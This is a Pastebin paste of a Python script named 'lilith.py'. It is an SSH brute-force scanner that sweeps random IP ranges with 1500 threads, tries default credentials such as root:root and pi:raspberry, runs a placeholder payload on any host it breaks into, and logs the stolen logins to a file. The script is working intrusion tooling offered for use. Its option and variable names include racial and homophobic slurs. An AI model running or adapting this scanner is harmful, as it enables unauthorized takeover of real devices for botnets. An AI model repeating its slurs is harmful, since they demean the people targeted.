Advertisement
LilithsKitty

lilith.py

Mar 7th, 2018
362
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.76 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. #----------------------------------------------------
  4. #Liliths working python scanner 2018 xD
  5. #----------------------------------------------------
  6. #python lilith.py 1000 BABY 1 (pick a pass yourself)
  7. #----------------------------------------------------
  8. #python lilith.py 1000 YEET 1 (pick a pass yourself)
  9. #----------------------------------------------------
  10. #python lilith.py 1000 NIGGER 1 fag
  11. #----------------------------------------------------
  12. #python lilith.py 1000 FAST 1 support
  13. #----------------------------------------------------
  14. #python lilith.py 1000 KITTY 1 root
  15. #----------------------------------------------------
  16. #python lilith.py 1000 OLD 1 admin
  17. #----------------------------------------------------
  18.  
  19. import threading, paramiko, random, socket, time, sys
  20. paramiko.util.log_to_file("/dev/null")
  21. blacklist = ['127']
  22.  
  23.  
  24. passwords = ["admin:1234", "root:root", "ubnt:ubnt", "pi:raspberry", "admin:admin", "support:support", "guest:guest", "telnet:telnet", "root:admin", "user:user", "test:test", "vagrant:vagrant"]
  25.  
  26. if sys.argv[4] == 'root':
  27. passwords = ["root:root"]
  28. if sys.argv[4] == 'admin':
  29. passwords = ["admin:1234"]
  30. if sys.argv[4] == 'support':
  31. passwords = ["support:support"]
  32. if sys.argv[4] == 'guest':
  33. passwords = ["guest:guest"]
  34. if sys.argv[4] == 'telnet':
  35. passwords = ["telnet:telnet"]
  36. if sys.argv[4] == 'omg':
  37. passwords = ["admin:admin"]
  38. if sys.argv[4] == 'kms':
  39. passwords = ["root:root", "admin:1234"]
  40. if sys.argv[4] == 'kys':
  41. passwords = ["root:root", "root:admin"]
  42. if sys.argv[4] == 'gay':
  43. passwords = ["root:root", "admin:admin", "root:admin", "admin:1234"]
  44. if sys.argv[4] == 'fag':
  45. passwords = ["root:root", "admin:1234", "root:admin", "user:user", "test:test"]
  46. if sys.argv[4] == 'perlz':
  47. passwords = ["pi:raspberry", "vagrant:vagrant", "ubnt:ubnt"]
  48. if sys.argv[4] == 'all':
  49. passwords = ["pi:raspberry", "vagrant:vagrant", "ubnt:ubnt", "root:root", "admin:1234", "support:support", "guest:guest", "telnet:telnet", "admin:admin", "root:admin", "user:user", "test:test"]
  50.  
  51. print "\x1b[0;31m.____ .__.__ .__ __ .__ "
  52. print "\x1b[0;31m| | |__| | |__|/ |_| |__ "
  53. print "\x1b[0;31m| | | | | | \ __\ | \ "
  54. print "\x1b[0;31m| |___| | |_| || | | Y \ "
  55. print "\x1b[0;31m|_______ \__|____/__||__| |___| /"
  56. print "\x1b[0;31m \/ \/ "
  57.  
  58. ipclassinfo = sys.argv[2]
  59. if ipclassinfo == "A":
  60. ip1 = sys.argv[3]
  61. elif ipclassinfo == "B":
  62. ip1 = sys.argv[3].split(".")[0]
  63. ip2 = sys.argv[3].split(".")[1]
  64. elif ipclassinfo == "C":
  65. ips = sys.argv[3].split(".")
  66. num=0
  67. for ip in ips:
  68. num=num+1
  69. if num == 1:
  70. ip1 = ip
  71. elif num == 2:
  72. ip2 = ip
  73. elif num == 3:
  74. ip3 = ip
  75. class sshscanner(threading.Thread):
  76. global passwords
  77. global ipclassinfo
  78. if ipclassinfo == "A":
  79. global ip1
  80. elif ipclassinfo == "B":
  81. global ip1
  82. global ip2
  83. elif ipclassinfo == "C":
  84. global ip1
  85. global ip2
  86. global ip3
  87. def run(self):
  88. while 1:
  89. try:
  90. while 1:
  91. thisipisbad='no'
  92. if ipclassinfo == "A":
  93. self.host = ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  94. elif ipclassinfo == "B":
  95. self.host = ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  96. elif ipclassinfo == "C":
  97. self.host = ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))
  98. elif ipclassinfo == "YEET":
  99. YEET = ["122","119","161","37","186","187","31","188","201","2","168"]
  100. self.host = random.choice(YEET)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  101. elif ipclassinfo == "NIGGER":
  102. NIGGER = ["125.27","101.109","113.53","118.173","46.62","5.78","125.25","125.26","182.52","125.24","180.180"]
  103. self.host = random.choice(NIGGER)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  104. elif ipclassinfo == "FAST":
  105. FAST = ["188.16", "188.17", "188.18", "188.19"]
  106. self.host = random.choice(FAST)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  107. elif ipclassinfo == "BABY":
  108. BABY = ["179.105","179.152","189.29","189.32","189.33","189.34","189.35","189.39","189.4","189.54","189.55","189.60","189.61","189.62","189.63","189.126"]
  109. self.host = random.choice(BABY)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  110. elif ipclassinfo == "KITTY":
  111. KITTY = ["190.236", "212.194", "212.195", "190.13", "190.40", "190.41", "190.42", "190.43", "190.96", "190.97", "190.232", "190.233", "190.234", "190.235", "190.236", "190.237", "190.238", "190.239", "190.184", "181.174", "186.183", "59.177", "59.178", "59.180", "59.182", "59.183", "59.184", "181.64", "181.65", "181.66", "181.67", "200.106", "200.121", "201.230", "201.240"]
  112. self.host = random.choice(KITTY)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  113. elif ipclassinfo == "OLD":
  114. OLD = ["103.20", "103.30", "103.47", "103.57", "12.188", "12.34", "122.3", "210.213", "59.69", "122.52", "122.54", "119.93", "124.105", "125.104", "119.92", "119.91", "49.144"]
  115. self.host = random.choice(OLD)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  116.  
  117. for badip in blacklist:
  118. if badip in self.host:
  119. thisipisbad='yes'
  120. if thisipisbad=='no':
  121. break
  122. username='root'
  123. password=""
  124. port = 22
  125. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  126. s.settimeout(3)
  127. s.connect((self.host, port))
  128. s.close()
  129. ssh = paramiko.SSHClient()
  130. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  131. dobreak=False
  132. for passwd in passwords:
  133. if ":n/a" in passwd:
  134. password=""
  135. else:
  136. password=passwd.split(":")[1]
  137. if "n/a:" in passwd:
  138. username=""
  139. else:
  140. username=passwd.split(":")[0]
  141. try:
  142. ssh.connect(self.host, port = port, username=username, password=password, timeout=3)
  143. dobreak=True
  144. break
  145. except:
  146. pass
  147. if True == dobreak:
  148. break
  149. badserver=True
  150. stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
  151. output = stdout.read()
  152. if "inet addr" in output:
  153. badserver=False
  154. if badserver == False:
  155. print 'Lilith Im Cumming ~ ' +self.host+':'+username+':'+password+':'+str(port)
  156. ssh.exec_command("PAYLOAD")
  157. nigger = open("cumming.txt", "a").write(username + ":" + password + ":" + self.host + "\n")
  158. time.sleep(15)
  159. ssh.close()
  160. except:
  161. pass
  162.  
  163. for x in range(0,1500):
  164. try:
  165. t = sshscanner()
  166. t.start()
  167. except:
  168. pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement